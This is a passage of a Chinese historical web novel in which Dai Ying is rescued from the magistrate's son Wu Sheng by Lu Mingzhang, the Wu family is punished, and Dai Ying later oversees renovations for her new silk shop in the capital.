昨儿她试图从这老妪嘴里套话,发现此人是个哑巴。
房门再次闭上,她走到桌边看了一眼,吞咽了一下,揉了揉自己的肚,终是忍住,重新坐回凳上。
及至老妪来收碗盘时,饭菜丝毫没动。
老妪比画,让她吃,戴缨摇头,担心饭里下药,不敢食用,情愿饿着。
那小衙内是个目无律法之人,不按常理,如今她只能延捱一时是一时。
封闭的窗纱映上昏朦朦的橙色,又到了傍晚,屋里屋外仍是安静一片。
救人的场景没有发生,她耳中甚至出现幻听,总觉得门外的过道响起纷杂的脚步声。
那些脚步声奔着她来,破开门,救她离开,然而没有,什么也没有,寂静得可怕。
终于……静中再次响起走动声,戴缨缓了缓才识出,这一次不是幻听,而是真有人在靠近。
于是站起身,全身绷紧,紧紧地盯着房门。
门开了,进来的人是吴胜,随着他的进入,房里的空气掺进酒息。
吴胜双颊酡红,眼中带着痴笑,一步一步朝戴缨走去。
戴缨见形势不对,抄起手边的物件往他身上砸去,吴胜侧身一避,不伤分毫。
“小衙内不是说纳我为妾么,就算为妾,少说也得备顶轿子抬人,今儿
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这么个样子又是什么意思。”
吴胜脚下一顿,笑了一声:“不打紧,咱们先快活,之后再补上,别说拿轿子抬人,就是以正头娘子的礼数迎你过门也使得。”
戴缨见他越靠越近,自己已退到墙面,再无路可退,心下不甘,真就这么认了?
当吴胜的胳膊伸来时,一口狠咬了下去。
吴胜没有防备,疼得一声叫,反手一耳刮,打到戴缨面上,将她掀翻在地。
一个男人的全力一掌,戴缨哪里承得住,当下耳中嗡鸣,眼前发花,景物一转,人被扛了起来,丢到榻上。
吴胜的身影往她压来。
“滚开!滚开!”
吴胜嘴边露出恶笑,开始松腰带,然而下一刻,“吱呀——”一声,房门缓缓开了。
吴胜手上一顿,回身去看,就见门口立着一人,这人他有印象,陆铭章的亲随。
他怎么进来的?院子里那么些护院,门外皆是他的人手,这人居然毫无声息地出现。
然而不及他多想,长安侧过身,身后走出一人,一身晴蓝色直裰,缓步走了进来,不是陆铭章却又是谁。
陆铭章扫了一眼帐下的凌乱,面无表情地走到桌边坐下。
吴胜心道不好,一把将戴缨从床上拉起,抽出一把**,抵住她的颈脖:“陆相找她?竟找到了这里。”
陆铭章在戴缨面上晃了一眼,发丝乱着,嘴角肿了,启口道:“你这趟家归的……太曲折,不如不回。”
吴胜见陆铭章丝毫不将他放在眼里,把刀口抵得更紧:“陆大人,我若活不了,她也不能活,你难道想眼睁睁看她死?”
陆铭章这才将目光落到吴胜身上,声调平平:“不杀你,把她放了。”
“这话我可不信,您那亲随的身手不一般,只怕我前脚将人放了,后脚脑袋落地。”
陆铭章再次开口:“既然你知道他不一般,更应该清楚,就算你不放她,也一样出不了这个门,不如将她放开,我留你一条命。”
吴胜看向长安,有一瞬间的迟疑,此人气息深厚,竟然能将门外的护院毫无察觉地放倒。
“不若这样,陆大人放我出这屋子,只要出了这屋,我便放她,如何?”
陆铭章站起身,往前走了一步,这漫不经心的一个动作,却叫吴胜一激灵,手上的力道下意识加重,一声闷哼从戴缨喉间溢出。
陆铭章见了,止住脚步,开口道:“好,许你出屋。”
吴胜有些得意,只要让他出这屋子,他们休想拿住他。
他可不信陆铭章的话,什么留他一命,整个大衍朝谁人不知这位枢相,专权、生杀予夺。
戴缨不好酒,平时鲜少沾那东西,这会儿被吴胜呼出的酒息熏得难受,蹙着眉,被他带着往门外退,不知是不是喝酒的原因,吴胜脚下虚浮,她跟着有些立不稳,步子碎乱。
一个没注意,踩到一个软软的东西,当下反应过来,这是踩到了吴胜的脚,就在吴胜身子晃动的一刹那,从他怀里挣脱,往她认为安全的地方奔去……
第46章 指尖下的坚毅
吴胜脚下趔趄,叫戴缨寻了空当,挣脱出去。
慌乱中她看到的是一个青蓝的身影,迎着她,冲突之间,血液在这一刻凝住,脑子一片空白。
只觉得周围一切都是虚的,看不清,直到一片衣袂环住她,在这一片环护之下,她的身体慢慢回了温度,两手贴在微微起伏的胸脯上。
鼻息下是青木香,手下是薄舒的坚毅。
神思慢慢回笼,抚在她背上的力道消失,可那一片仍感有一点残留的轻度。
“无事了。”
安抚的声音从头顶传来,头一次,陆铭章的声音离她这样近。
戴缨在垂颈的一瞬,往后退两步,拉开了距离,侧过头,就见吴胜已被长安制伏。
陆铭章将目光落到戴缨的脸上,因为刚才那一下,面色白得像新粉的墙,使得另一边的红肿更加凸显。
继而,又看向她衣领下的伤口,出了血,好在不多。
“陆大人,你刚才答应过我,只要出门放了她,就饶我一命。”吴胜一双眼低睨着颈间的**,生怕被伤到。
他还是低估了陆铭章的这名随侍,在他未反应过来时,他已近到他身后,甚至没看清他的动作。
“刚才不过跌了一步,实属意外,这人也放了,陆大人不会食言罢?”吴胜腆着脸追问道。
陆铭章点了点头:“我的话自然作数。”一面说一面护着戴缨出了房门,留下两个字:“不杀。”
长安得了令,将**从吴胜颈项拿下,随之离开。
吴胜有些不可思议,真不杀他?只是刚才那名随侍走之前瞥他的那一眼有些意味不明,叫他心头发毛。
戴缨随陆铭章走出,才发现自己身在一座庭院深阔的私宅,陆铭章一出现,身后立时涌出一批轻甲卫跟随,这些人身上犹带着浓浓的血气。
宅院的地上横七竖八躺着人。
出了宅院,此时天已黑了下来,天上星罗棋布,周围荒野无人,门前停着一辆马车。
戴缨双手捉裙,踏着踩凳上了马车,随后陆名章也上了车,待坐定,马车缓缓启行。
“多谢大人。”戴缨开口道。
陆铭章看了戴缨一眼,似是低叹一般问道:“是回戴宅还是跟我回行馆?”
“同大人回行馆。”戴缨没有任何犹豫,只是鼻管有些泛酸。
陆铭章轻省地招了招手:“坐过来,我瞧瞧。”
戴缨垂下眼,依言坐到他的身侧。
车内光线暗着,温热的指腹在她嘴角揾了揾,声音响起,腔音有一点点不同。
“你这事……不止吴家。”
戴缨低垂着头,面上的红晕一点点蔓上耳梢,再延展到颈间,嘴角的伤肿在他的指尖下有一点点疼。
可他的问话却又那样正经,一时间叫她不知该如何应对。
正要纠结时,陆铭章收回手:“回了行馆只管休息,吴家我来料理,至于你家的事情……自己看着办罢。”
戴万昌正立在行馆大门前张望,一辆马车缓缓行来,停于宅门前。
车里下来一人,不是自己的长女又是谁,戴万昌刚想上前责问,就见车上又下来一人,正是陆铭章,于是立马止住脚。
戴缨不是没见着她父亲,却只作没看见,径直进了行馆。
戴万昌被拦在外面不得进入。
……
彼边,吴胜归了府衙,这会儿他也怕了,径直往后园找到他父亲。
“老爷可在?”吴胜问道。
下人回道:“老爷正同夫人用饭。”
吴胜心道正好,有他母亲在,一会儿可替他挡挡,抬脚便往上房行去,进了屋,先是朝父母拜了拜,然后看着吴县令,一副欲言又止的样子。
“不会又惹了什么事罢?”吴县令语带不善。
吴胜先看了他母亲一眼,这会儿不敢再隐瞒,将事情前前后后道出。
“哐当——”一声,碗筷掉在地上,祸从天降,吴县令胸口气血翻滚,双手哆嗦不止。
一旁的县令夫人见了,慌得抚拍吴县令的胸口,急声唤道:“老爷,老爷……”
又示意自己儿子倒水,喂给他父亲。
吴县令一只手呆呆移向吴胜,好一声大喝,对着吴胜兜头就是一掌,这还不够,上去又是一脚。
“孽障啊……孽障啊!”
吴胜翻倒在地,捂着肚腹,忍着疼。
县令夫人见儿子被打,心疼不已:“老爷这是做什么,打坏了可怎么是好。”
吴县令气得胡须颤颤,一口气捋不顺:“打……打坏了正好,不仅要打坏,还要打死!押去给陆大人赔罪!”
“老爷好狠的心,自家骨肉……若是打死他,把妾身的命也拿了去罢!”县令夫人一面泣诉一面将儿子扶起,“不就是绑了戴家的女儿,有什么要紧,一个商户,大不了老爷出面,说两句,那戴万昌看在您的面上,他能怎样?他敢怎样?”
吴县令一拍额,“啊”了一声,仰倒于椅上,他总算知道这祸根出在何处了。
县令夫人又慌走到县令身边,替他顺气。
吴县令缓了半晌,终于开口道:“戴万昌他算个屁,绑了他家女儿也就绑了,值得我出面,可那戴缨身后站得是陆相,是京都来的枢密使,不是我他娘说两句就能了事的。”
吴县令骂完,一双眼直直盯着头顶,嘴里唧哝,完了,完了……
县令夫人仍不觉得有什么:“叫妾身说,老爷担忧太过,孩子这不好好地回来了么,证明陆大人并未计较。”
吴县令一双眼僵涩地移动到吴胜身上。
“他若不回来,死在外头,咱们一家上下还能活,偏他回了……”说到这里,吴县令不知是哭还是笑,“阖府上上下下,一个也别想逃脱。”
陆铭章这是要对整个吴家下手啊!
吴胜面色一变,抢话道:“陆铭章说只要我放了那女人,他留我性命。”
县令夫人适时插话,替儿子求情:“妾身就说老爷忧虑过了,没您想得那样严重。”
吴县令这会儿回了些气力,坐起身:“他是会留你一命,以陆铭章这人的行事作风,绝不会用私刑把你弄死,但他会光明正大地让咱们一家生不如死。”
及至此时,县令夫人的
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面色也变了,吴胜意识到事情严重,可事已至此,生出一个大胆的念头。
“父亲,正所谓强龙压不过地头蛇,陆铭章既然要治咱们一家,咱们不如先下手,把他在平谷给……”吴胜说着拿手比画了一下脖子。
吴县令睁大眼,看傻子一般,一瞬不瞬地看着吴胜。
“儿子这个想法如何?”吴胜问道。
“强龙压不过地头蛇?”
“是。”吴胜点头,“届时就说陆相遭贼寇杀害,儿子再私下买通几人冒充贼寇,让他们顶罪,此事便可迎刃而解。”
吴县令又问:“陆铭章身边带有军卫,来,你说说看,你拿什么杀他。”
吴胜以为此计可行,一本正经说道:“咱们地方不是有守备军么?那陆铭章身边的军卫寡不敌众,焉能护住他。”
“昨日,陆铭章传平谷地方大小官员会见,我带你去行馆了罢?”
“去了,儿子就待在您身侧。”吴胜不知父亲为何作此一问。
吴县令“嗯”了一声:“你是去了,那你可还记得你斜对面坐的是什么人?”
吴胜想了想,摇头道:“左不过平谷的官吏,不都是父亲的手下么。”
“来,来,我告诉你,那些是什么人。”吴县令继续道,“昨日立在你左前方的是兵马总督,你右前方的是兵马都监,立于你正对面的是一级军事长,都部署。”
吴胜这会儿想起来,说道:“父曾不是说这些武将虽直属军队,没有上头的命令,不得擅自调取军兵么,如同提线木偶。”
“哟!这个倒是记得清楚,那为父问你,陆铭章是什么职位?”
“枢密……院的院长……”吴胜声音渐弱。
“枢密使,专管操纵这些木偶之人。”吴县令就差哭出来,“他的调兵符一出,这些兵军全都调动起来,你拿什么杀他!”
正在此时,院子里的下人惶急跑来:“大人,府外来了好多兵马。”
一旁的县令夫人两眼一黑,直接仰倒在地。
风泼似的,吴家被下了牢狱,之后,陆铭章一张奏折**,罗列出吴家这些年的罪证。
吴胜杀害自己的妾室,但妾属贱籍,罪名坐实,并不处以极刑。
可陆铭章的**绝不会重拿轻放,他要么不出声,一出声必让对方永不能翻身。
那折子上还列有吴胜杀害平民女子的罪证。
于是,作为县令之子的吴胜,草菅人命,判流刑!
因吴胜触犯的是“十恶”重罪,作为父亲的吴县令滥用职权,包庇、袒护其子,可这还不够,陆铭章的**折子上附有其篡改卷宗,恐吓人证,向上**,生生把吴县令之罪构成了更严重的“枉法赃”。
除名官籍,永不叙用,仗一百!整个吴家声誉尽毁。
县令夫人包庇其子作恶,判处杖刑。
一只笔管,一纸奏折,碾碎全族,真如吴县令所说,若吴胜当时死在外头,说不定倒干净。
深夜,戴缨从沐间出来,更了一身干净舒软的寝衣,归雁拿过团扇,刚准备替戴缨打风,院外来了一人……
第47章 别人都行,就你不可以
戴缨换上戴云的妆容离宅时,归雁并没有随同,落后戴家人寻戴缨,戴万昌逼问归雁,受了一顿打,仍闭口不言。
一来见忠心,二来……她确实真不知自家小娘子的行踪。
适才,戴万昌见戴缨被寻回,还与陆相共乘,扭头便让人将归雁送到行馆伺候。
“这会儿天热,只拿小扇打风罢?”归雁走上前。
戴缨点了点头,有些心不在焉。
正说着,院外来人。
“戴小娘子可在?”
戴缨转头去看,来人是陆铭章的贴身侍婢,名七月的,一张鹅蛋脸,眉眼细长,声腔清亮婉转。
“在呢,七月姐姐进来坐。”戴缨让归雁看茶。
七月笑着走进来,朝戴缨道了万福,从袖中掏出一个瓷瓶递上:“家主让婢子送来的,这白玉膏是宫中赏赐,治愈外伤效果好,不上一日便可消肿。”
说着,往戴缨破开的嘴角扫了一眼。
戴谢接过,道了谢,再次让七月入座,她才告了座,归雁上前看了茶。
“家主让我问娘子,是否还有未办之事?若是没有,明日便启程返京了。”七月说道。
戴缨想了想,提起嘴角,摇头道:“没什么未办之事,明日可启程。”
两人又说了些话,七月起身告辞。
待归雁将人送出院门回来,戴缨问道:“人还在外面?”
归雁应是。
戴缨想了想,说道:“请去前院罢。”
有些事情不能这么不明不白。
“是。”
戴万昌坐于敞厅里,见戴缨来了,欲要起身,屁股刚抬起,又落下,反应过来,他是她老子,只有她给他见礼的份。
“父亲深夜前来所为何事?”戴缨坐到戴万昌对面。
戴万昌清了清嗓,说道:“这次叫你受了委屈,为父对孙氏必不轻饶,已让人打发她到庄子上,有生之年不得再踏入戴家一步。”
戴缨将目光投向地面,滞了一会儿,抬起头。
“父亲这话阿缨能信么?父亲难道不知,我母亲就是被她气死的?你在跟前,她便作小伏低,你背过身,她同我母亲说话夹枪带棒,母亲身子本就不好,好几次怄得把才吃下的药吐出。”
“这些事情从前怎么不听你提过?”
戴缨一声冷笑:“女儿没向父亲提及?女儿这双膝盖都不知跪了多少回,最后又如何,她哭几声,装乞扮怜,您就又心软了,当时您是怎么说的?又是怎么做的?”
孙氏从前在杨三娘也就是戴母的房里伺候,不仅熟知杨三娘的喜好,更清楚戴万昌的脾性。
知道戴万昌喜欢女子小意迎奉,而杨三娘看起来娇巧,骨子里却是个犟的。
孙氏投其所好,在戴万昌跟前戚戚抹泪,再说些柔言细语,无论戴万昌揣着多大的气,孙氏总能给他抚平了。
戴万昌受用,平日里自然也就更为偏袒孙氏,无论孙氏闹出什么动静,最后都是大事化小,小事化无。
渐渐地,戴缨看清了,闭了嘴。
戴万昌被自己女儿如此质问,觉得没脸,出声道:“还提这些做什么,多少年的旧事,你母亲那是自己身体不行,怪不到别人头上。”
戴缨终于明白了一句话,什么叫作板子不打到自己身上,是不会觉着疼的。
孙氏只要伺候好戴万昌,戴万昌在受用的同时,对孙氏的态度便是放纵。
只有哪一日,孙氏冒犯到他的头上,他才会正视孙氏恶心人的行径。
她母亲的死有孙氏的原因,还有戴万昌的纵容。
戴万昌摆了摆手,调开话头:“你难得回来一趟,不说这些,今夜前来为着另一事。”停了一下,又道,“你上次说在京都开分号的事情,我又想了想,认为可行。”
戴缨心下讥讽,先前不同意,这会儿又改口,不就是见她同陆铭章有些沾连么,于是将外放的情绪收起。
“既然父亲认可,女儿自然没什么话说,一切由父亲定夺。”
“戴家的生意也有你的一份,京都那边全权交你打理,银钱方面你不必担心,我会着人安排。”戴万昌谈起生意来又是另一副态度。
戴缨此次回平谷,一来祭奠生母,二来为了在京都开分号,既然戴万昌改口,那么,她没有不应的道理。
戴万昌走后,戴缨回了院子,临睡前往脸上涂抹了膏药,睡去了。
彼边,戴万昌前脚才回院子,后脚戴云就找了来,一进房里,湿红了眼,跪到戴万昌面前:“父亲,女儿赴京之事……”
本是欣喜万分乘轿进入行馆,谁知又被抬了回去,叫她怎么甘心。
“哭什么!跟你那姨娘一个样儿。”
戴万昌厉喝一声,戴云住了嘴。
“眼下去不得京都,不是时候。”戴万昌说道。
戴云想问原因,见她父亲面露不耐,只得把话咽下,不过父亲刚才说得是“眼下”,也就是说,时机不对,缓过这一阵,她仍有机会赴京。
思及此,戴云安了心。
……
次日,行馆外车马停当,戴缨上了车驾,不过不是和陆铭章同乘,仍是坐回她来时的那辆马车,启行回程。
就这么走了月余,终于到了京都。
一回来,戴缨将平谷带的东西,让下人们分发出去,不止大房,还有隔壁的二房、三房,上上下下,主仆皆有。
之后休整了几日,她便开始筹备铺面事宜。
寻铺面这些琐碎,无需她亲自张罗,自有下人去办,此次回京都,戴万昌调了两个姓秦的管事给她。
仍是做绸缎生意,前期准备由两个管事料理,期间进度报述于她,大小事由她定夺。
事情进展得还算顺利,铺面定下,就在闹市区,周围有宅邸、酒楼还有青楼。
同一时,官府那边登记了行户,用来后
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续缴税。再就是店铺修造。
戴缨的脸面不似高门贵族女子金贵,她十四五岁便同戴万昌外出行走,行事作风有自己的一套路数。
这日,两个管事的前来报知戴缨,铺面装修上出了问题。
“五个人的班子,那人是这批施工伙计的头,他自己喝了酒,做起事来没个轻重,把咱们屋顶上敲缺了一块,我说用工钱抵扣,这人死不承认,非说先前就少的,还反咬一口,说咱们赖他。”
秦二、秦三两兄弟是戴家的老人,听了戴万昌的吩咐从平谷到京都张罗这边的生意。
从前经常同戴缨打交道,清楚她的行事风格,有事说事,无须扯旁的。
“现在工也停了,一伙人坐在店里不走。”秦二说道。
戴缨沉吟片刻,说道:“按工时,把工钱结了,让他们走,既然做不好,就换一批人来,莫要还没开张就闹出动静。”
秦二“哎呀”一声:“我也是这么说,偏那人胡搅蛮缠,说接了咱们这一单,他把手头别的事推了,让咱们赔付他整个工期的工钱。”
戴缨听后,笑了起来,这是碰上讹人的了,不紧不慢地说道:“走罢,会会这人。”
正巧找点事情做,于是出了陆府,乘车去了绸缎庄。
才走进店铺,就见堂间的地面摆着锤、铲等工具,桌边坐着五六个粗布麻衣的汉子,将一人围在中间,几人正低声说着什么。
中间那人面目黝黑,方脸阔额,着短衣,露出结实的臂膀,身上擦了脏灰,不整洁,腿屈起,踩着凳面,脚上是一双还算新整的蓝布鞋。
几人听到动静,往店门看去。
逆光中行来一个纤姿女人,待她再走近些,看清了面貌,几个汉子挪开眼,或低目,或看向别处。
唯有中间那人直直同戴缨对视。
“你是工头?”戴缨问道。
那汉子扬起下巴:“不错,是我。”
戴缨指了指旁边,说道:“陈兄弟,借一步说话。”
从秦家兄弟嘴里得知,这人叫陈左,手里有几个兄弟,在京都城给人店铺修造,有活时便接活,无活时就到码头做些杂活。
陈左就那么把戴缨看着,不起身,不说话,见戴缨是一女子,全然不将她放在眼里。
若是一般人,这会儿指定难堪。
戴缨面上笑着,声音却凉下来:“既然不愿好好说,就是不想解决问题了,那好,反正我这店铺还未完工,也不怕耽误,咱们一纸诉状走衙门罢。”
陈左眼中闪动,他本想把姿态架高,震一震这女人,想不到她半点不惧。
“既然你想谈,那就谈罢,就当着我这些兄弟的面,没什么他们不能听的。”
戴缨点了点头,秦二搬来一把交椅,请戴缨入座。
“陈兄弟敞亮人,那我也不绕弯子了,磕破的屋角,我可以不计较,但你……必须得走……”
第48章 人家不要你
戴缨一语毕,陈左吊在腿膝上的手一抖,凝眉问道:“什么意思?咱们这些人接了你的活,把手里其他的事都推得干净,你一句让咱们走,咱们就走?没有这样的事。”
戴缨不慌不忙地从归雁手里接过茶盏,喝了一口,开口道:“陈兄弟想是没有听明白,我说的是让你走,你的兄弟们可以留下。”
一语毕,几个做活的汉子们纷纷低头私语起来。
本是结好的一股力量,像女子头上绞绾的髻儿,抽去固定的簪,一股脑地散开,没了形。
“你喝酒误事,失手坏了我的屋顶,我既不找你赔,仍付你该有的工钱,随你做事的伙计们仍可继续在此处做活,工钱不少一分。”戴缨嘴角噙笑,“你好好考虑考虑,是继续赖在这儿同我掰扯,还是拿钱走人。”
陈左面露难色,低眼看向随自己一起来的同村人,眼中闪过一抹复杂。
这时,伙计中一个年纪较小的男子站起身,看上去大概只有十五六岁的模样,看向戴缨,红着脸。
“咱们岂能由你挑拨,我是陈哥带来的,他留我便留,他走我就跟着走。”少年说罢,转头看向其他几人,“你们呢?”
另几人讪笑了几声,低头不语。
戴缨看向陈左,说道:“你看,你不愿做,有的是人做,这年头活不好找,人还不好找?”
说罢,朝茶口吹了吹,轻啜一口,继续道,“也不怕再多说一句,既然我能在京都这个地段开店,就不怕人**,你若真敢同我耍浑,便对簿公堂,看谁叫得响亮。”
在场众人听出话里的意思,无非是这位女东家背后有靠山,其实呢,戴缨也不过是见人说人话,见鬼说鬼话罢了。
行商的人家,讲得就是一个势头,露怯是大忌。
从前在平谷,她在商行的那些老家伙手里吃过多少亏,就这么一步一步走了过来,眼下对付一个痞赖还是绰绰有余。
在秦家兄弟同她言明此事时,她心里已有了底,这个陈左的目的,既不想赔损,又想继续在她这儿做下去,赚工钱。
哪有那样好的事。
“阿左,要不算了,本就是你失得手,弄坏了女东家的屋顶,赔些工钱……”
然而戴缨打断道:“就算他现在愿意赔付,他这个人我也不会再用。”
品性不端,怎可留用,若是他怀恨在心,乘人不备,在屋子的构造中故意使坏,待她将工钱付清,这些人拍屁股一走,落后出了大问题,她找谁讲理。
戴缨给归雁睇了一个眼色,归雁从荷包理出一个数目,呈递上前:“这是你的工钱,拿了走人。”
陈左看着那一袋工钱,一把夺过,朝地上啐了一口:“老子还不稀得待了。”
说着转身离开。
刚才给陈左帮腔的少年不知是走还是留。
戴缨觉得这少年有些意思,开口道:“为了一口气,有钱不赚?”
“你这女东家,怎的眼里只有钱,女儿家的矜羞一点也无,哪懂别人的难处,俗话说无奸不商,真真正正是这么个理儿。”
一旁的人赶紧拉少年的衣袖:“祥子,你少说两句。”
“我偏说,这女人哪里知道阿左哥的难,没一点人情味,只知算计。”祥子将手一摆,“阿左哥是心里不好受才喝得酒。”
归雁在一旁听不下去,她怎能容忍这么个**小子指骂她家娘子,于是说道:“分明是那人喝酒误事,损了店里的物件,我家娘子没让他赔一分,怎的你还委屈上了?!”
不待祥子开口,归雁又道:“我家娘子性儿好,不计较,也不同你争辩,你就可以冒犯到她头上,你是哪里蹦出来的小猢狲?”
归雁声调起得高,话语又快,珠子似的往外迸,把祥子骂得还不了嘴,结果蹲在地上,把头埋在臂膀间,弱弱抖着肩,不知是不是在哭。
“你……”归雁哪料到自己把人骂哭,正想再说,被戴缨拦住。
“你刚才说陈左有难处,他有什么难处?”
祥子抬起头,拿袖管拭了拭眼角,说道:“他需要钱,给他媳妇治病。”
“看病?给他妻子?”戴缨确认道。
这时,旁边的同村人插话道:“是啊,鸢娘的病很重,自打生了那场病,药就没断过,陈左赚的钱全填补进去,唉!”
“我看那陈左年岁不大,又有手艺,怎么不另找个身板好的,过日子岂不舒心?何必守着一个病秧子。”戴缨试探道。
“可不敢说,可不敢说……”那村人摇头道,“从前有媒婆子上门探他的话,被他打了出去。”
戴缨点了点头,若有所思起来。
……
陈左搭着驴车回了村口,往自家小院行去。
“阿左,你家鸢娘刚才还在门前站了一会儿,看起来精神好了些。”对面行来的老妪笑着招呼道。
陈左点了点头,看不出高兴还是不高兴。
老妪浑浊的眼落到陈左手上的药包上,唉了一声,这病也是磨人,叫人死不死,活不活的,时好时坏。
陈左刚走到院门前,就听到院子里叮叮咚咚的声响,接着一声闷响,安静下来。
当下心里一提,推开院门,就见地上倒着一人,旁边的水桶歪倒,水洒了一地。
“阿鸢——”陈左将人抱进屋,放到榻上。
女子半边身子沾了泥水,双唇泛白,眼睛半睁半闭。
陈左几步进了灶房,从罐里倒了一盏黑糊糊的汤水,再走回屋室,行至榻边,先将妻子拍醒,喂了药。
“怎么不听话,你这病得将养,吹不得风。”陈左说道。
鸢娘将头撇向里侧,过了一会儿开口道:“总是活不久了,出门看一看也好。”
“瞎说什么,这药吃着有些效果,继续吃下去,总有一日能好。”
鸢娘看向自家男人,又看了一眼他手里的药碗,“啪”的一挥手,将药碗挥落。
“我这病就是个无底洞,专吸你身上的血,你那几个钱够什么?!”妇人尖厉的声音息下,打着哭腔,“丢开手罢,你也轻松些,何苦来……”
陈左低头不语,默默弯腰将地上的碎碗收捡。
“钱的事无须你操心,只要那药能治你的病,我总能搞到钱。”
鸢娘闭上眼,任滚烫的眼泪滑过面颊,曼声低语:“你就是做到死,也补不上我的药钱,去偷去抢?”<
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br>陈左捏着手里的瓷碗,任边缘的锋利割破自己的指腹。
“码头有活,那边工钱多。”
鸢娘睁开泪眼,稍稍撑起身,问道:“你不是才接了一个铺子的活计?怎么又要去码头?”
码头上尽是使蛮劲的活,扛沙袋、拉货船、搬运货物,在那里,看不到役夫们的脸,他们将身体折成两段,腰背向地。
码头耗一年,人的寿命要折损几年。
“你说话啊,好好的一个活计,怎么又要去码头?!”鸢娘急声问道,因问得太急,一口气没喘过来,颓倒于靠枕上。
陈左赶紧把手里的碎瓷片丢开,坐回榻沿,替妻子抚拍顺气。
“你别急,我是想着给铺子做活,来钱太慢,所以还是去码头。”
鸢娘摇了摇头:“你别哄我,码头一日一结,钱不好挣,你能接上铺子的活计不容易,你这臭脾气……指定是把店里的东家得罪了,人家不要你……”
正说着,院门“笃笃”被敲响。
陈左往窗外看了一眼:“你别多想,我去看看是谁。”
说着走到院里,打开院门,就见门外立着一人,不是别人,正是绸缎庄姓秦的管事。
当下心头一紧,怕那女东家反悔,叫他赔钱。
“你来做什么?!”
秦二往院子里看了看,说道:“陈伙计,明儿你还来铺子。”
陈左呆了呆,不明其意:“难不成你们女东家反悔了?要去衙门告我?”
秦二摇头道:“陈左兄弟,你错想了,我东家说了,叫你明儿仍来上工,该给的工钱,她不少你的。”
“叫我仍去上工?”陈左有些不信。
“是,你明儿过来便是,只是有一条……”秦二笑了笑,“千万不可再饮酒了,只要活计完成的好,工钱之外,咱们东家另外有赏。”
陈左愣磕磕点了点头,见秦二要走,赶紧说道:“管事的要不进来坐坐,喝喝茶。”
“不了,还有事要忙。”
“那位女东家当真不计较了?”陈左再次确认。
“当真不计较了,我家小娘子是个通情达理之人。”秦二低下眼,目光落到男人破开的指尖,“你只管用心修整铺面,我戴家不止这一间铺面,往后还有更大的活计。”
秦二走后,陈左调转身回到屋里,坐到床沿,握着妻子的手,似怨怪似体贴地说道:“你看,这活计不就来了?叫你不必担心,只管调养好身子,还怕我赚不到药钱?”
鸢娘心里低叹一声:“不想你被我拖累。”
“没什么拖累不拖累的,若能将你的病医好,一切都值。”
次日,陈左仍去了绸缎铺子,照先时那样,正常开工。
戴缨不时会去看一看铺面装修的进度。
而陈左见了戴缨倒未刻意殷勤,行动上比从前更加卖力,见了她来,道一声女东家,打过招呼,便带人忙碌手头的事情。
这日,铺里的桌柜都已安置好,大头也完成得差不多了。
店里来了人,戴缨转头看去,双眼微觑,也只有这人,总叫她生出一股似惧似敬,局促中带着扑通扑通的小雀跃,连她自己也说不清,道不明……
第49章 风月情事
绸缎庄由三个铺面打通,三层高,地段还算繁华,租赁费用不少,戴缨直接将三间铺子买了下来。
京都老字号的绸缎铺不少,而她是新进的,想要在京都立住脚,且卖上价,就一定要有些出彩的地方。
在货料未到时,铺面的装修不能落了下乘,需得让人一看就觉着贵气、雅致。
店铺的构造、陈设最为直观,客人未进店时,先入眼的就是它,装陈就是一张脸面,所以马虎不得,她情愿进度慢一点,也要达到想要的效果。
“诶——诶——那个谁,你注意点成不成,灰都落头上了。”归雁拿手在面前挥了挥落尘。
祥子攀爬在高梯上,穿得灰扑扑的,腰间系一根彩色的麻花带,尾端吊铃,两条裤腿挽得高高的,露出下面结实的小腿,脚踩一双麻鞋。
“你做什么非要站我下面,离远些不成?”
归雁气得嘟哝一句:“谁站你下面,我打这过哩!”
祥子是土生土长的京都人,归雁同戴缨一样,说话带点异地口音,哪怕骂人时,也是绵软得没有震慑力。
“我打这过哩!”少年模仿她的神态,张开嘴,把她刚才那句话哑着学了一遍。
其他几个工友见了,笑着摇头。
戴缨看了陈左一眼,见他骑在房梁上,低着头,用木锤敲打着边角,丝毫不被外界干扰。
陈左这人是个做实事的人,手艺扎实,除了先前那一点差错,还真没什么不好的地方。
也正如那些人所说,他急需用钱。
这时,管事的秦家兄弟开口道:“大家伙辛苦,晚些时候下了工,东家请咱们去酒楼喝酒。”
“当真,东家请咱们?”祥子问道。
戴缨笑说道:“当真,只是你别再把灰落我丫头的头上。”
众人一听,哄得大笑起来,祥子红着脸,挠了挠头,这么点小动作都没能逃过这位女东家的眼。
那个叫归雁的丫头好生厉害,那日说得他毫无还嘴的余地,这才想着故意逗一逗她。
祥子见众人笑他,连陈左也跟着笑,于是说道:“阿左哥,怎么你也跟着笑,我可是你这头的。”
陈左忍笑道:“我可没让你给人家头上撒料。”
几人又是一阵笑。
正笑闹着,秦二的声音响起:“这位官人,咱家店铺还未开张,您……”
“我找人。”
这一声,叫戴缨回头。
浮光中,一个挺拔削直的身影走了来,宽大的衣袂垂在身侧,玄色官靴在衣摆若隐若现,步调轻,且是端稳。
秦二认不得陆铭章,他虽出入陆府,但也只在外围走动。
戴缨见了来人,一时间不知该如何开口,不过也就一瞬。
“秦管事,这位是我……”戴缨走上前,朝陆铭章道了万福,又轻声叫了一声,“叔父。”
在场之人,皆是惊怪。
这位女东家,行事他们是看在眼里的,行止间隐有男儿的飒爽之风,可此刻,她周身的锋芒竟悄然收敛,像是被什么化去了。
他们看向来人,三十出头,姿容丰明,神仪秀异,同他们这些人太过不一样,是个文雅的读书人,却又比寻常文人多了从容的威仪。
又听女东家轻喊了一声叔父,明白过来,原是家中年轻的长辈。
他的身后不近不远地跟着一个身量修长的随从,像影儿一般,并不惹人注意。
陆铭章先看了一眼戴缨,然后看向四面:“地段还不错。”
说着,往里走去。
戴缨赶紧将人请入里间,并让归雁上茶。
自从平谷回来,他二人几乎不曾碰面,就连回程中,她同他也不同乘,不像去时,她坐入他的车辇,哪怕在府中偶然遇上,她向他见礼,他颔首应一声,然而错身而过。
戴缨不傻,相反,是个极为灵光之人。
那日,长安走到她身边,说陆铭章身子未愈,央她去跟前看顾,看似自作主张替主人考虑,实则不然。
陆铭章怎会容忍身边人自作主张,没有他点头,长安敢吗?
行路中,长安又借口说她所乘的马车堆了杂物,坐不得,种种由头,若无陆铭章的默许,一个对主上死忠的仆从绝不敢擅自开口。
后来,本该返程的他,在未等到她后,亲身到平谷,她告诉自己,他不过是为着公务。
再之后,他救下了她,两人坐在昏暗的车里,她挨近他,他用指抚过她嘴角的伤痛。
那一瞬,还有什么不明呢?
但……他和她都知道那只是一瞬的失控,落后,他们仍退回到各自的位置。
戴缨也清楚,这一点点越线,不过是个意外,她不可能同他有什么风月情事。
